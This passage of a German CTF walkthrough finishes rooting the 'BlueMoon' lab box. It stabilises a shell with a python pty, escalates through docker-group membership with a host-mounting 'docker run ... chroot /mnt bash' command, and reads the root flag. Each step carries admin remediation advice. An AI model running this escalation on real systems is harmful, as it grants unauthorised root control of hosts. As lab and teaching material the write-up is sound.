Analyse: Diese Befehle dienen der Verbesserung der Shell-Interaktivität, oft nachdem eine einfache Reverse Shell (wie die über `nc`) erlangt wurde, bevor komplexere Befehle wie der `docker`-Befehl ausgeführt werden.
Bewertung: Fantastisch, die Privilegieneskalation mittels Docker war erfolgreich! Der Benutzer `jerry` war offensichtlich Mitglied der `docker`-Gruppe. Der Pentester hat nun Root-Rechte innerhalb des Containers, aber mit vollem Zugriff auf das Host-Dateisystem unter `/mnt` (im Container) bzw. `/` (im `chroot`). Der Prompt `root@...` bestätigt den Root-Zugriff.
Empfehlung (Pentester): Ziel erreicht! Nun die Root-Flag suchen (vermutlich in `/root/root.txt` auf dem Host, also `/mnt/root/root.txt` im Container vor dem `chroot` oder `/root/root.txt` nach dem `chroot`). Das System weiter untersuchen, Persistenz einrichten oder Aufräumarbeiten durchführen, je nach Scope des Pentests.
Empfehlung (Admin): Dringend die Mitgliedschaft von `jerry` in der `docker`-Gruppe entfernen. Die Sicherheitsimplikationen der `docker`-Gruppe verstehen und den Zugriff darauf stark einschränken.
jerry@BlueMoon:/home/robin$ python3 -c 'import pty;pty.spawn("/bin/bash")' jerry@BlueMoon:/home/robin$ export SHELL=bash jerry@BlueMoon:/home/robin$ export TERM=xterm-256color jerry@BlueMoon:/home/robin$ stty rows 50 columns 94 jerry@BlueMoon:/home/robin$ docker run -v /:/mnt --rm -it alpine chroot /mnt bash root@2f016590017e:/#
Analyse: Nachdem durch den `docker`-Befehl und `chroot` Root-Zugriff auf das Dateisystem des Hosts erlangt wurde, navigiert der Pentester in das Root-Verzeichnis (`cd ~` was zu `/root` führt) und listet dessen Inhalt auf (`ls`).
Bewertung: Der Befehl `ls` zeigt die Datei `root.txt`. Dies ist standardmäßig der Ort, an dem die Root-Flag in CTF-Szenarien abgelegt wird. Der erfolgreiche Zugriff auf dieses Verzeichnis und die Sichtbarkeit der Datei bestätigen den Root-Zugriff.
Empfehlung (Pentester): Den Inhalt der Datei `root.txt` mit `cat root.txt` auslesen, um die finale Flag zu erhalten.
Empfehlung (Admin): Die Sicherheitslücke (Docker-Gruppenmitgliedschaft) schließen, die diesen Root-Zugriff ermöglicht hat. Sicherstellen, dass sensible Dateien wie Flags (in einem echten Szenario wären das Konfigurationsdateien, Datenbanken etc.) durch Berechtigungen und Verschlüsselung geschützt sind.
root@2f016590017e:/# cd ~ root@2f016590017e:~# ls root.txt
Analyse: Der Befehl `cat root.txt` wird ausgeführt, um den Inhalt der Root-Flag-Datei anzuzeigen.
Bewertung: Die Datei enthält eine Glückwunschbotschaft und die Root-Flag: `Fl4g{r00t-H4ckTh3P14n3t0nc34g41n}`. Sie nennt auch die Autoren der CTF-Box. Das Auslesen dieser Datei beweist den vollständigen Root-Zugriff auf das System.
Empfehlung (Pentester): Die Root-Flag dokumentieren. Der Pentest ist erfolgreich abgeschlossen. Je nach Scope können noch weitere Post-Exploitation-Schritte erfolgen (z.B. Systemanalyse, Suche nach weiteren Daten, Persistenz).
Empfehlung (Admin): Die zugrundeliegende Schwachstelle (Docker-Fehlkonfiguration) beheben. Das System auf mögliche Hintertüren oder weitere Kompromittierungen untersuchen, die der Angreifer hinterlassen haben könnte.
root@2f016590017e:~# cat root.txt
> Congratulations <
You Reached Root...!
Root-Flag
Fl4g{r00t-H4ckTh3P14n3t0nc34g41n}
Created By
Kirthik - Karvendhan
instagram = ____kirthik____
!......Bye See You Again......!
Analyse: Ein Kommentar im Bericht, der den erfolgreichen Abschluss der Privilegieneskalation zu Root markiert.
Bewertung: Bestätigt das Erreichen des höchsten Privilegierungslevels auf dem System.
Empfehlung (Pentester): Bericht finalisieren, Flags und gefundene Schwachstellen dokumentieren, Empfehlungen formulieren.
Empfehlung (Admin): Den Bericht des Pentesters zur Behebung der Schwachstellen nutzen.
Privilege Escalation erfolgreich